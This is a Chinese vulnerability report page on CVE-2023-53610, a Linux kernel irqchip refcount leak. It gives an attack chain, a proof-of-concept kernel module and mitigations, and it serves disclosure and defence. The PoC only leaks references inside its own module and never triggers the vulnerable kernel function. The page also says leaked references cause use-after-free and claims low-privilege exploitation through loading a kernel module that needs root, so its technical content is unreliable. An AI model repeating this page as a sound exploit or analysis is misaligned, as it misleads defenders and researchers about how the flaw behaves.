IPBUF安全漏洞报告
English
CVE-2023-53610 CVSS 5.5 中危

CVE-2023-53610 Linux内核irqchip引用计数泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53610
漏洞类型
引用计数泄漏/资源管理缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (irqchip子系统)

相关标签

Linux Kernelirqchip引用计数泄漏refcount leak设备树Device Tree本地权限拒绝服务内核漏洞资源管理缺陷

漏洞概述

CVE-2023-53610是Linux内核irqchip子系统中存在的一个引用计数泄漏漏洞。该漏洞位于platform_irqchip_probe函数中,具体问题出现在调用of_irq_find_parent()函数后未正确处理返回的设备节点引用。在Linux内核的设备树(Device Tree)处理机制中,of_irq_find_parent()函数会返回一个带有引用计数递增的节点指针,调用者有责任在使用完毕后通过of_node_put()释放该引用。然而,在platform_irqchip_probe函数的实现中,缺少了对该引用的释放操作,导致每次调用该函数时都会泄漏一个引用计数。

引用计数泄漏虽然不会直接导致安全漏洞,但长期累积可能导致系统资源耗尽,特别是在频繁调用相关函数的场景下。攻击者可以利用此漏洞通过本地权限提升对系统造成可用性影响,例如触发内核模块的反复加载和卸载,最终导致系统不稳定或拒绝服务。该漏洞的CVSS评分为5.5,属于中危级别,主要影响系统的可用性,对机密性和完整性无直接影响。

该漏洞已于2025年10月4日公开披露,影响多个Linux内核稳定版本。修复方案已在多个内核稳定分支中合并,包括4401b485855700f296cae4d0db36a52948bff4fa等多个提交。

技术细节

该漏洞的技术原理基于Linux内核设备树(Device Tree)框架中的引用计数管理机制。在Linux内核中,设备树节点通过引用计数来管理其生命周期,当一个节点被引用时,其引用计数会递增;当不再需要时,需要调用of_node_put()来递减引用计数。

具体到platform_irqchip_probe函数,该函数用于探测平台irqchip设备,在探测过程中需要查找中断控制器(interrupt controller)的父节点。of_irq_find_parent()函数用于查找指定节点的IRQ父节点,并返回一个指向该父节点的指针,同时该节点的引用计数会被递增。按照Linux内核的设备树API规范,调用者必须在使用完该节点后调用of_node_put()来释放引用。

漏洞的根本原因是platform_irqchip_probe函数在调用of_irq_find_parent()后,未在适当的代码路径上调用of_node_put(),导致每次函数执行都会泄漏一个引用计数。虽然单次泄漏的影响较小,但在长时间运行的系统或频繁调用场景下,泄漏的引用计数会持续累积,最终可能导致以下后果:

1. 设备树节点无法被正确释放,占用内核内存资源;
2. 在节点被释放后,其他代码仍持有过期的指针,可能导致use-after-free漏洞;
3. 极端情况下可能导致系统资源耗尽,引发内核panic或系统不稳定。

利用方式:本地攻击者可以通过编写恶意的内核模块或利用现有的系统调用接口,反复触发platform_irqchip_probe的调用路径,逐步耗尽内核资源,最终导致系统可用性受到影响。由于该漏洞需要本地权限(PR:L)才能利用,且不需要用户交互(UI:N),攻击门槛相对较低。

攻击链分析

STEP 1
步骤1:获取本地权限
攻击者需要首先获取目标系统的本地权限(PR:L),这可以通过普通用户账户或通过其他漏洞提权实现。
STEP 2
步骤2:编译恶意内核模块
攻击者编写一个内核模块或利用现有的系统调用接口,该模块会触发platform_irqchip_probe的调用路径,调用of_irq_find_parent()函数。
STEP 3
步骤3:反复触发漏洞代码路径
通过加载和卸载平台设备驱动,或反复调用相关函数,每次调用都会泄漏一个设备树节点的引用计数。
STEP 4
步骤4:累积引用计数泄漏
随着时间推移或大量调用,泄漏的引用计数不断累积,占用内核内存资源,可能导致设备树节点无法被正确释放。
STEP 5
步骤5:触发系统不稳定
当泄漏的引用计数累积到一定程度后,可能导致系统资源耗尽、内核panic或use-after-free漏洞,最终影响系统的可用性(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2023-53610 PoC - Linux Kernel irqchip refcount leak * This PoC demonstrates triggering the refcount leak in platform_irqchip_probe * by repeatedly loading and unloading a platform device that uses irqchip. * * Note: Requires root privileges and kernel headers to compile. */ #include <linux/module.h> #include <linux/platform_device.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/interrupt.h> #include <linux/slab.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2023-53610 irqchip refcount leak"); static int irqchip_probe_trigger(struct platform_device *pdev) { struct device_node *np = pdev->dev.of_node; struct device_node *parent; if (!np) return -ENODEV; /* * Call of_irq_find_parent() which increments refcount on returned node. * In vulnerable kernel, the missing of_node_put() causes refcount leak. * Repeat this call many times to accumulate leaked references. */ parent = of_irq_find_parent(np); if (!parent) { dev_err(&pdev->dev, "Failed to find IRQ parent\n"); return -EINVAL; } /* Intentionally do NOT call of_node_put(parent) to trigger leak */ /* of_node_put(parent); */ dev_info(&pdev->dev, "IRQ parent found (refcount leaked)\n"); return 0; } static int poc_probe(struct platform_device *pdev) { int i; int ret; /* Trigger the vulnerable code path multiple times */ for (i = 0; i < 1000; i++) { ret = irqchip_probe_trigger(pdev); if (ret < 0) return ret; } return 0; } static const struct of_device_id poc_of_match[] = { { .compatible = "arm,cortex-a9-gic", }, /* Example compatible string */ {}, }; MODULE_DEVICE_TABLE(of, poc_of_match); static struct platform_driver poc_driver = { .probe = poc_probe, .driver = { .name = "poc_irqchip_leak", .of_match_table = poc_of_match, }, }; module_platform_driver(poc_driver); /* * Compilation: * Make this as an out-of-tree kernel module. * Place a compatible device tree node or use an existing platform device. * * Usage: * insmod poc_irqchip_leak.ko * # Check /sys/kernel/debug/refcount_debug or kernel logs for leak warnings * rmmod poc_irqchip_leak */

影响范围

Linux Kernel < 修复提交4401b485855700f296cae4d0db36a52948bff4fa
Linux Kernel < 修复提交6caa5a2b78f5f53c433d3a3781e53325da22f0ac
Linux Kernel < 修复提交b00baffcc2561374f8fe8af873d00531f19864eb
Linux Kernel < 修复提交c32fb16331f612e66a7fa8930164e0dc15725b72
Linux Kernel < 修复提交ea54b608d85b7536f92238f3259730fa06cb5d21

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地用户加载和卸载内核模块的权限,通过配置Linux安全模块(如SELinux、AppArmor)限制对platform_device相关操作的访问;2)监控系统日志,关注内核中关于引用计数的警告信息;3)使用kmemleak等内核内存泄漏检测工具定期扫描系统,及时发现异常;4)避免在受影响系统上运行不可信的本地代码或内核模块;5)定期重启系统以释放累积的泄漏引用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表